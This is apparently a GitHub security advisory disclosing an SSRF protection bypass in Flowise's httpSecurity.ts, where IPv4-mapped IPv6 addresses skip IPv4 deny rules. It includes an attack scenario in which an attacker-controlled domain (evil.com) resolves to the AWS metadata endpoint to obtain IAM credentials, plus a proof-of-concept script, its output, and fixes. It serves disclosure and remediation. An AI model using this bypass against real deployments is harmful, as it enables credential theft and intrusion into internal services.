GHSA-c6xh-wv4j-ppv5
Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
Flowise's HTTP security module (`httpSecurity.ts`) fails to normalize IPv4-mapped IPv6 addresses (e.g., `::ffff:127.0.0.1`, `::ffff:169.254.169.254`) before checking them against the deny list. Due to an `ipaddr.js` kind mismatch (`ipv6` vs `ipv4`), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to `::ffff:<target_ipv4>`, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.
## CWE
- **CWE-918**: Server-Side Request Forgery (SSRF)
- **CWE-1389**: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)
## Affected Versions
- All versions up to and including **v3.1.1** (latest main branch as of 2026-04-03)
- This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)
## Details
### Root Cause
The `isDeniedIP()` function in `packages/components/src/httpSecurity.ts` checks IP addresses against a deny list using `ipaddr.js`. The critical flaw is in the `kind()` comparison:
```typescript
// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
const parsedIp = ipaddr.parse(ip);
for (const entry of denyList) {
if (entry.includes('/')) {
try {
const [range, _] = entry.split('/')
const parsedRange = ipaddr.parse(range)
// ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
// This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
if (parsedIp.kind() === parsedRange.kind()) { // <-- BYPASS HERE
if (parsedIp.match(ipaddr.parseCIDR(entry))) {
throw new Error('Access to this host is denied by policy.')
}
}
} catch (error) {
throw new Error(`isDeniedIP: ${error}`)
}
} else if (ip === entry) {
throw new Error('Access to this host is denied by policy.')
}
}
}
```
When the resolved IP is an IPv4-mapped IPv6 address like `::ffff:169.254.169.254`:
- `ipaddr.parse('::ffff:169.254.169.254').kind()` returns `'ipv6'`
- `ipaddr.parse('169.254.169.254').kind()` (from deny list entry) returns `'ipv4'`
- `'ipv6' === 'ipv4'` is `false` → **CIDR check is completely skipped**
The IPv6 deny list entries (`::1`, `fc00::/7`, `fe80::/10`, `ff00::/8`) do NOT cover the `::ffff:0:0/96` range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.
### Attack Vector
1. Attacker registers a domain (e.g., `evil.attacker.com`) and sets a **AAAA DNS record** to `::ffff:169.254.169.254` (AWS metadata) or `::ffff:10.0.0.1` (internal service)
2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to `http://evil.attacker.com/latest/meta-data/`
3. `resolveAndValidate()` calls `dns.lookup('evil.attacker.com', { all: true })` which returns `[{ address: '::ffff:169.254.169.254', family: 6 }]`
4. `isDeniedIP('::ffff:169.254.169.254', denyList)` is called — all IPv4 CIDR entries are skipped due to kind mismatch
5. Request is sent to `169.254.169.254` (AWS metadata service) via the IPv4-mapped IPv6 address
### Affected Endpoints
All code paths using the SSRF protection functions are vulnerable:
| Function | Usage Count | Affected Components |
|----------|:-----------:|-------------------|
| `secureAxiosRequest()` | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank |
| `secureFetch()` | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool |
| `checkDenyList()` | 3+ | MCP Server URL validation, fetch-links service, web scraping |
### Proof of Concept
```javascript
// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');
const denyList = [
'169.254.169.254/16', // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
'10.0.0.0/8', // RFC1918 (covered by 10.0.0.0/8 in Flowise)
'127.0.0.0/8', // Loopback (covered by 127.0.0.0/8 in Flowise)
'172.16.0.0/12', // RFC1918 (covered by 172.16.0.0/12 in Flowise)
'192.168.0.0/16', // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];
// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'
// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'
// Demonstrate the bypass
for (const entry of denyList) {
const [range] = entry.split('/');
const parsedRange = ipaddr.parse(range);
const kindMatch = mappedIP.kind() === parsedRange.kind();
console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped
```
**Attack Scenario (AWS Cloud):**
```bash
# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
# URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials
```
### Verified PoC Output
The following output was produced by running the PoC script (`poc_ssrf_bypass.js`) against `[email protected]` (the exact version used by Flowise `^2.2.0`), replicating the `isDeniedIP()` logic:
**Step 1: kind() mismatch confirmed**
```
169.254.169.254 kind=ipv4 isIPv4Mapped=false
::ffff:169.254.169.254 kind=ipv6 isIPv4Mapped=true → maps to: 169.254.169.254
127.0.0.1 kind=ipv4 isIPv4Mapped=false
::ffff:127.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 127.0.0.1
10.0.0.1 kind=ipv4 isIPv4Mapped=false
::ffff:10.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 10.0.0.1
192.168.1.1 kind=ipv4 isIPv4Mapped=false
::ffff:192.168.1.1 kind=ipv6 isIPv4Mapped=true → maps to: 192.168.1.1
172.16.0.1 kind=ipv4 isIPv4Mapped=false
::ffff:172.16.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 172.16.0.1
```
**Step 2: Normal IPv4 — correctly blocked ✅**
```
169.254.169.254 → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1 → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1 → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1 → 🔒 BLOCKED (matched: 172.16.0.0/12)
```
**Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️**
```
::ffff:169.254.169.254 → ⚠️ ALLOWED (BYPASS!) (real target: 169.254.169.254)
::ffff:127.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 127.0.0.1)
::ffff:10.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 10.0.0.1)
::ffff:192.168.1.1 → ⚠️ ALLOWED (BYPASS!) (real target: 192.168.1.1)
::ffff:172.16.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 172.16.0.1)
```
**Step 4: Root cause — kind mismatch skips CIDR check**
```
Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind() = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match? = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)
```
**Step 5: Proposed fix — all bypass addresses now blocked ✅**
```
::ffff:169.254.169.254 → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1 → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1 → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)
```
**Step 6: Attack simulation**
```
Vulnerable isDeniedIP: ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP: 🔒 BLOCKED → Attack prevented!
```
> **Verification environment**: Node.js v22.13.1, [email protected] (matches Flowise dependency `^2.2.0`)
> **PoC script**: [poc_ssrf_bypass.js](https://github.com/user-attachments/files/26456899/poc_ssrf_bypass.js)
## Impact
| Target | Impact | Severity |
|--------|--------|----------|
| AWS/GCP/Azure Metadata (`169.254.169.254`) | Steal IAM credentials, service account tokens | Critical |
| Internal services (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`) | Access internal APIs, databases, admin panels | High |
| Localhost (`127.0.0.1`) | Access Flowise's own API with elevated privileges, access co-located services | High |
This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) **completely ineffective** against IPv4-mapped IPv6 DNS resolution.
## Remediation
### Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)
```typescript
export function isDeniedIP(ip: string, denyList: string[]): void {
let parsedIp = ipaddr.parse(ip);
// ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
parsedIp = parsedIp.toIPv4Address();
}
for (const entry of denyList) {
if (entry.includes('/')) {
try {
const [range, _] = entry.split('/');
let parsedRange = ipaddr.parse(range);
// Also normalize deny list entries
if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
parsedRange = parsedRange.toIPv4Address();
}
if (parsedIp.kind() === parsedRange.kind()) {
if (parsedIp.match(ipaddr.parseCIDR(entry))) {
throw new Error('Access to this host is denied by policy.');
}
}
} catch (error) {
throw new Error(`isDeniedIP: ${error}`);
}
} else if (ip === entry) {
throw new Error('Access to this host is denied by policy.');
}
}
}
```
### Option 2: Add `::ffff:0:0/96` to Deny List (Defense-in-depth)
Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:
```typescript
const DEFAULT_DENY_LIST = [
// ... existing entries ...
'::ffff:0:0/96', // Block ALL IPv4-mapped IPv6 addresses
'::ffff:127.0.0.1/128', // Explicit loopback mapped
'::ffff:169.254.0.0/112', // Explicit link-local mapped
'::ffff:10.0.0.0/104', // Explicit RFC1918 Class A mapped
'::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
'::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];
```
### Option 3: Also normalize in `resolveAndValidate()` (Belt and suspenders)
```typescript
async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
// ... existing code ...
const records = await dns.lookup(hostname, { all: true });
for (const r of records) {
let address = r.address;
// Normalize IPv4-mapped IPv6 for deny list checking
if (ipaddr.isValid(address)) {
const parsed = ipaddr.parse(address);
if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
address = parsed.toIPv4Address().toString();
}
}
isDeniedIP(address, denyList);
}
// ... rest of code ...
}
```
References
External links from the advisory. They lead to third-party sites.
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-c6xh-wv4j-ppv5
- https://github.com/FlowiseAI/Flowise/pull/6431
- https://github.com/FlowiseAI/Flowise/commit/0fc769208395641c1411ccdb9c81416e54802155
- https://github.com/FlowiseAI/Flowise
- https://github.com/FlowiseAI/Flowise/releases/tag/[email protected]